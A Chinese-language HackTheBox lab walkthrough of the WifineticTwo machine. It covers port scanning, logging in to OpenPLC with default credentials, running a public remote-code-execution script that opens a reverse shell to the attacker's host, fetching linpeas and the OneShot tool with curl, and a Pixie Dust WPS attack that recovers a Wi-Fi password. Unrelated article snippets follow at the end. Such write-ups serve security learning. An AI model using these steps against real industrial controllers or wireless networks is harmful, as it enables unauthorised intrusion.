Linux/WifineticTwo

news2024/12/28 22:36:05

WifineticTwo

Enumeration

nmap

经过使用 nmap 对常见的 1000 个端口进行扫描,并加入禁止 ping 的参数,长时间的扫描结果显示,仅有 22 和 8080 两个端口处于开放状态

┌──(kali㉿kali)-[~/vegetable/HTB/WifineticTwo]
└─$ nmap 10.10.11.7 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-18 23:06 EDT

Nmap scan report for 10.10.11.7
Host is up (0.37s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE    SERVICE

22/tcp    open     ssh

8080/tcp  open     http-proxy


Nmap done: 1 IP address (1 host up) scanned in 1429.79 seconds

因为 22 端口是 ssh,所以尝试访问 8080 端口,页面跳转到 /login,可以看到是 OpenPLC 的登录页面,随便尝试了一些弱口令,都提示 “Bad credentials! Try again”

首先先看看 OpenPLC 是干什么的,在网上搜索发现了这样一个结果:

OpenPLC 是一个功能齐全的标准化开源 PLC,无论是软件还是硬件,其诞生之初的重点是为自动化和研究提供低成本的工业解决方案,现广泛用于工业网络安全研究的框架。

openPLC 由三部分组成:运行时、编辑器和 HMI 构建器 。运行时负责执行 PLC 程序,编辑器用于创建 PLC 程序。使用 HMI 构建器—— ScadaBR,可以创建漂亮的基于 Web 的动画,以呈现运行后的流程状态。ScadaBR 通过 Modbus/TCP 与 OpenPLC Runtime 通信。

OpenPLC 项目根据 IEC 61131-3 标准创建,该标准定义了 PLC 的基本软件架构和编程语言,主要用于工业和家庭自动化、物联网和 SCADA(监控和数据采集)研究。

https://www.oschina.net/p/openplc

使用 gobuster 扫描目录,但是从结果上来看找到的目录基本上都经过 302 跳转到 /login

Exploitation

OpenPLC WebServer 3 Remote Code Execution

在Search files: OpenPLC ≈ Packet Storm (packetstormsecurity.com)网站中找到一个漏洞,是 2021 年的,不知道起不起作用,下载 exploit 脚本运行后发现需要用户名和密码

在搜索 OpenPLC default creds 时,发现该系统默认用户名口令为 openplc/openplc

使用该用户名和密码成功登陆系统

使用刚才找到的 exploit 脚本来 getshell,但是失败了

┌──(kali㉿kali)-[~/vegetable/HTB/WifineticTwo]
└─$ python3 rce.py -u http://10.10.11.7:8080/ -l openplc -p openplc -i 10.10.14.22 -r 4444
[+] Remote Code Execution on OpenPLC_v3 WebServer
[+] Checking if host http://10.10.11.7:8080/ is Up...
[+] Host Up! ...
[+] Trying to authenticate with credentials openplc:openplc
[+] Login success!
[+] PLC program uploading... 
[+] Attempt to Code injection...
[+] Spawning Reverse Shell...
[+] Failed to receive connection :(

经过测试发现每一次运行这段脚本都会往服务器上传一个 program.st 文件,并且页面上方显示 Running: program.st

查看 Runtime Logs 时,可以看到其中有一条警告,Warning: Persistent Storage file not found,但是在网上搜索时显示它可能是一个 ui 错误,并不影响实际操作

但是在操作时,我意外得到了 shell,并且他提示我是 root

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.11.7] 59054
whoami
root

我决定结束这个 shell,按照刚才的操作研究研究为什么。最后发现按照如下方式进行即可

首先我启动了 Blank Program,在左侧的菜单栏中点击 programs,然后单击 Blank Program,点击页面下方 lanunch,等待程序编译完后,点击 go to dashboard,最后点击左下角的 Start PLC,然后页面显示正在运行 Blank Program,多试几次或者试试下面说的意外情况

然后在 kali 中监听 4444 端口,再次运行 exploit 脚本,然后在监听端收到了 shell,并升级该 shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.11.7] 54790
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@attica04:/opt/PLC/OpenPLC_v3/webserver# ^Z
zsh: suspended  nc -nvlp 4444
                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg              
[1]  + continued  nc -nvlp 4444
                               reset
reset: unknown terminal type unknown
Terminal type? screen

刚才的意外也是我在运行了 exploit 脚本后,监听端没有收到回应,但是我在尝试按照上面的步骤启动 Blank Program时,网页一直加载最后报了 503 错误,然后就在 kali 监听端发现收到了 shell,从刚才的意外得知我拿到了 root,鉴于系统不太熟悉,先不搞了。本以为已经结束了,可是我又错了,因为 /root 目录下只有 user.txt

root@attica04:/opt/PLC/OpenPLC_v3/webserver# cd /root
root@attica04:/root# ls
user.txt

Privilege Escalation

Wifi WPS Brute Force

ubuntu目录下也没有什么东西

root@attica01:/opt/PLC/OpenPLC_v3/webserver# cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
root@attica01:/opt/PLC/OpenPLC_v3/webserver# cd /home/ubuntu/
root@attica01:/home/ubuntu# ls -al
total 20
drwxr-x--- 2 ubuntu ubuntu 4096 Jan  7 07:44 .
drwxr-xr-x 3 root   root   4096 Jan  7 07:44 ..
-rw-r--r-- 1 ubuntu ubuntu  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 ubuntu ubuntu  807 Jan  6  2022 .profile

看了半天没什么发现,上传了 linpeas.sh,添加执行权限,然后运行

root@attica01:/tmp# curl http://10.10.14.22:8000/linpeas.sh -o linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  840k  100  840k    0     0   171k      0  0:00:04  0:00:04 --:--:--  186k
root@attica01:/tmp# chmod +x linpeas.sh 
root@attica01:/tmp# ./linpeas.sh 

但是在查看 linpeas.sh 的结果时又陷入了迷茫,一般来说到这一步是需要提权了,但我现在已经是 root,我该干什么?然后在这里发现很奇怪,又想了想这个机器的名称,猜测可能和 wifi 有关系

╔══════════╣ Interfaces
# symbolic names for networks, see networks(5) for more information                                                                                        
link-local 169.254.0.0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.3.2  netmask 255.255.255.0  broadcast 10.0.3.255
        inet6 fe80::216:3eff:fefc:910c  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:fc:91:0c  txqueuelen 1000  (Ethernet)
        RX packets 7970  bytes 2490929 (2.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6483  bytes 3086694 (3.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3789  bytes 246276 (246.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3789  bytes 246276 (246.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

可以参考 hacktricks 中有关 wifi 渗透测试的内容Pentesting Wifi | HackTricks | HackTricks,我按照下面的命令扫描了可用的 wifi,显示了 wlan0 这个无线网络接口扫描到的一个无线接入点(AP)的信息。这个接入点的MAC地址是 02:00:00:00:01:00,SSID: plcrouter 是接入点的服务集标识符,即网络名称,WPS(Wi-Fi Protected Setup)是一种简化无线网络设置的协议

root@attica01:/tmp# iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
        last seen: 1791.280s [boottime]
        TSF: 1710833386317677 usec (19801d, 07:29:46)
        freq: 2412
        beacon interval: 100 TUs
        capability: ESS Privacy ShortSlotTime (0x0411)
        signal: -30.00 dBm
        last seen: 0 ms ago
        Information elements from Probe Response frame:
        SSID: plcrouter
        Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 
        DS Parameter set: channel 1
        ERP: Barker_Preamble_Mode
        Extended supported rates: 24.0 36.0 48.0 54.0 
        RSN:     * Version: 1
                 * Group cipher: CCMP
                 * Pairwise ciphers: CCMP
                 * Authentication suites: PSK
                 * Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
        Supported operating classes:
                 * current operating class: 81
        Extended capabilities:
                 * Extended Channel Switching
                 * SSID List
                 * Operating Mode Notification
        WPS:     * Version: 1.0
                 * Wi-Fi Protected Setup State: 2 (Configured)
                 * Response Type: 3 (AP)
                 * UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
                 * Manufacturer:  
                 * Model:  
                 * Model Number:  
                 * Serial Number:  
                 * Primary Device Type: 0-00000000-0
                 * Device name:  
                 * Config methods: Label, Display, Keypad
                 * Version2: 2.0

可以考虑 WPS 的枚举,WPS 简化了将设备连接到路由器的过程,提高了使用 WPA 或 WPA2 个人加密网络的设置速度和便利性。它对于容易受到损害的 WEP 安全性是无效的。WPS 采用 8 位数的 PIN,分两半进行验证,由于其组合数量有限(11,000 种可能性),因此容易受到暴力攻击

首先将网上找到的工具在本地编译好

┌──(kali㉿kali)-[~/vegetable/tools/OneShot-C]
└─$ gcc oneshot.c -o oneshot  

然后利用 python web 将脚本上传到目标主机,并添加执行权限

root@attica01:/tmp# curl http://10.10.14.22:8000/oneshot -o oneshot
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 54160  100 54160    0     0  33768      0  0:00:01  0:00:01 --:--:-- 33765
root@attica01:/tmp# chmod +x oneshot

然后在指定的 BSSID 上发起 Pixie Dust 攻击

root@attica01:/tmp# sudo ./oneshot -i wlan0 -b 02:00:00:00:01:00 -K
sudo ./oneshot -i wlan0 -b 02:00:00:00:01:00 -K
[*] Running wpa_supplicant...
[*] Trying pin 12345670...
[*] Scanning...

<--snip-->

[+] WPS PIN: 12345670
[+] WPA PSK: NoWWEDoKnowWhaTisReal123!
[+] AP SSID: plcrouter

可以看到网络名称为 plcrouter,密码为 NoWWEDoKnowWhaTisReal123!,接下来尝试连接 wifi 网络,按照如下格式进行操作

wpa_passphrase plcrouter NoWWEDoKnowWhaTisReal123! > config
wpa_supplicant -B -c config -i wlan0

完成后需要使用 ifconfig 来给 wlan0 配置 ip

ifconfig wlan0 192.168.1.8 netmask 255.255.255.0

*由于从连接 wifi 那一步开始忘记保存图片和命令,这两部分命令都是手敲,没有验证,可能会有手误

现在可以使用 ssh 连接网关,连接到 ap-shell

over!

参考链接:

https://www.oschina.net/p/openplc

Search files: OpenPLC ≈ Packet Storm (packetstormsecurity.com)

Pentesting Wifi | HackTricks | HackTricks

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1543025.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

渗压计测量:VW-102A与WM-103型读数仪的应用与优势

在当代工程测量领域&#xff0c;准确监测地下水压力变化对于确保建筑结构的安全和稳定至关重要。渗压计作为一种专业的测量工具&#xff0c;能够精确地监测和记录地下水的压力变化&#xff0c;是水利工程、地下建筑、坝体安全监测等领域不可或缺的仪器。今天主要给大家介绍下读…

make menuconfig

本文不是分析Linux的make menuconfig&#xff0c;而是如何将Linux这套机制适配到自己的项目里。 Linux内核配置工具会使用到menuconfig。menuconfig会用到mconf、conf两个命令。这两个命令是编译内核自动生成的。网上有开源的实现&#xff0c;我们下载下来自己编译&#xff1a…

SQLiteC/C++接口详细介绍sqlite3_stmt类(七)

返回&#xff1a;SQLite—系列文章目录 上一篇&#xff1a;SQLiteC/C接口详细介绍sqlite3_stmt类&#xff08;六&#xff09; 下一篇&#xff1a; 无 22、sqlite3_column_database_name 用于返回结果集中指定列的数据库名称。如果结果集是由多个Join操作产生的&#xff0c;…

公域流量和私域流量该如何选择?

很多客户在做品牌推广的时候&#xff0c;都会犹豫应该把精力投放到公域流量还是做自己的私域流量。特别是现在流量为王的时代&#xff0c;大部分客户都在布局做公域流量&#xff0c;砸钱推广&#xff0c;直播带货各种形式进行曝光。 在无论是线上还是线下的公共领域&#xff0…

Microsoft Remote Desktop:无缝连接,高效远程工作的首选工具

随着科技的发展&#xff0c;远程工作已经成为了越来越多人的选择。在这样的背景下&#xff0c;一款高效、稳定且安全的远程桌面工具显得尤为重要。Microsoft Remote Desktop正是这样一款能够满足用户需求的远程桌面软件。 Microsoft Remote Desktop是微软开发的一款专为远程连…

38张最全计算机网络基础思维导图,值得一看!

你们好&#xff0c;我的网工朋友。 计算机网络基础知识点多且杂&#xff0c;想要系统地学习&#xff0c;思维导图肯定是必不可少的。 今天我给你找全了38张思维导图&#xff0c;帮助你轻松理清思路&#xff0c;快速掌握关键内容。 建议你收藏起来慢慢看&#xff0c;在看过之…

宋仕强说金航标kinghelm萨科微slkor都是网红品牌

宋仕强说金航标kinghelm萨科微slkor都是网红品牌&#xff0c;和宋仕强先生研究的“华强北”大ip一起&#xff0c;相互支持相互驱动&#xff0c;与金航标网站&#xff08;www.kinghelm.com.cn&#xff09;、萨科微网站&#xff08;www.slkormicro.com&#xff09;组合成为宣传矩…

2024/3/24--爬虫库

1.常用的爬虫库 (1)在setting的project里面点击Python Interpreter (2&#xff09;常用的爬虫库有 import requests //用途&#xff1a;用于发送HTTP请求。from bs4 import BeautifulSoup //用于从HTML或XML文档中提取数据。import scrapy //一个功能强大的爬虫框架&#xf…

基于Java的流浪动物收容与领养网站

基于Java的流浪动物收容与领养网站的设计与实现 摘 要 随着社会的发展&#xff0c;社会的各行各业都在利用信息化时代的优势。计算机的优势和遍及使得各种信息系统的开发成为一定。 流浪动物收容与领养管理系统&#xff0c;主要的模块包括首页、个人中心、用户管理、员工…

.NET分布式Orleans - 2 - Grain的通信原理与定义

Grain 是 Orleans 框架中的基本单元&#xff0c;代表了应用程序中的一个实体或者一个计算单元。 每个Silo都是一个独立的进程&#xff0c;Silo负责加载、管理和执行Grain实例&#xff0c;并处理来自客户端的请求以及与其他Silo之间的通信。 通信原理 在相同的Silo中&#xff0…

Vue动态设置控制表格列表展现列

最近遇到一个需求,表格列表默认不展示某一列,当我设置后可以展示该列,也可以展示和隐藏别的列,起到可以对整个表格列展示隐藏控制的效果,如下示例,默认不展示“单位名称”这一列,在我点击设置齿轮后可以看到,有“单位名称”这一列,但未打钩: 当我勾中“单位名称”,…

【解决】Unity Profiler | Sempaphore.WaitForSignal

开发平台&#xff1a;Unity 2022 版本以上 开发语言&#xff1a;CSharp 6.0 编程平台&#xff1a;Visual Studio 2022 关键词&#xff1a;Sempaphore.WaitForSignal   问题背景 开发过程中出现 Waiting to excute code… 长时间阻碍运行。使用 逐对象排查法 确认影响无法运行…

mineadmin前端安装启动

在上一篇文章中&#xff0c; 我们已经搭建好了后端环境并启动 mineadmin 快速安装部署&#xff08;docker环境&#xff09; 一、下载前端项目 1、在搭建后端时候&#xff0c;使用php bin/hyperf.php mine:install 的时候&#xff0c;有一个步骤是安装前端项目的。安装目录为&a…

Altair Compose® 数学运算、编程、数据分析及可视化

Altair Compose 数学运算、编程、数据分析及可视化 分析数据、开发算法或创建模型 - Altair Compose 旨在将你的想法付诸实施。 Altair Compose 是一个用于数学计算、数据操作和可视化、编程和调试脚本的环境&#xff0c;对重复运算和流程自动化非常有用。Altair Compose 让用…

Chrome 插件打包发布

插件打包发布 一、打包成 zip 包 最简单方便的一种其实就是打包成 zip 包&#xff0c;通过下载链接进行下载&#xff0c;在包里面通过设置版本号和数据库的版本号对比来提醒用户进行新包的下载。 二、发布到 Chrome 应用商店 1. 注册成为开发者 在发布到 chrome 应用商店之…

C++第十一弹---类与对象(八)

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】 目录 1、友元 1.1、友元函数 1.2、友元类 2、内部类 3、匿名对象 4、拷贝对象时的一些编译器优化 总结 1、友元 友元提供了一种突破封装的方式&a…

伦敦金与纸黄金有什么区别?怎么选?

伦敦金与纸黄金都是与黄金相关的投资品种&#xff0c;近期黄金市场的上涨吸引了投资者的关注&#xff0c;那投资者想开户入场成为黄金投资者应该选择纸黄金还是伦敦金呢&#xff1f;两者有何区别呢&#xff1f;下面我们就来讨论一下。 伦敦金是一种起源于伦敦的标准化黄金交易合…

ssm+vue的消防物资存储系统(有报告)。Javaee项目,ssm vue前后端分离项目。

演示视频&#xff1a; ssmvue的消防物资存储系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;ssm vue前后端分离项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构&…

MixKG: Mixing for harder negative samples in knowledge graph---没代码

摘要 知识图嵌入(KGE)旨在将实体和关系表示为低维向量&#xff0c;用于许多现实世界的应用。实体和关系的表征是通过对比正负三联体来学习的。因此&#xff0c;高质量的阴性样品在KGE中是非常重要的。然而&#xff0c;目前的KGE模型要么依赖于简单的负抽样方法&#xff0c;这使…

基于深度学习的面部情绪识别算法仿真与分析

声明&#xff1a;以下内容均属于本人本科论文内容&#xff0c;禁止盗用&#xff0c;否则将追究相关责任 基于深度学习的面部情绪识别算法仿真与分析 摘要结果分析1、本次设计通过网络爬虫技术获取了七种面部情绪图片&#xff1a;吃惊、恐惧、厌恶、高兴、伤心、愤怒、自然各若…